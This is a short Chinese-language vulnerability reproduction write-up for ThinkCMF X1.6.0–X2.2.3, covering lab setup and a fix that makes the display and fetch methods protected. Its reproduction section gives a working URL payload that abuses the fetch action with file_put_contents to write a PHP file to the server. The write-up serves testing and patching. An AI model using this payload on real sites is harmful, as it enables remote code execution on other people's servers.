一、漏洞描述
ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
ThinkCMF X2.2.3
二、漏洞原理
ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建。攻击者可利用此漏洞构造恶意的url,向服务器写入任意内容的文件,达到远程代码执行的目的。
三、环境搭建
下载ThinkCMF X2.2.0 链接:https://pan.baidu.com/s/1dEJJoU9?errno=0&errmsg=Auth%20Login%20Sucess&&bduss=&ssnerror=0&traceid=
使用phpstudy搭建即可
四、漏洞复现
访问目标网站,如下图所示:
输入payload:payload:?a=fetch&templateFile=public/index&prefix=’’&content=file_put_contents(‘test.txt’,’<?php phpinfo(); ?>’)后回车
回车后页面空白如下图所示
成功上传文件,访问刚刚创建的文件
五、漏洞修复
将 HomebaseController.class.php 和 AdminbaseController.class.php 类中 display 和 fetch 函数的修饰符改为 protected。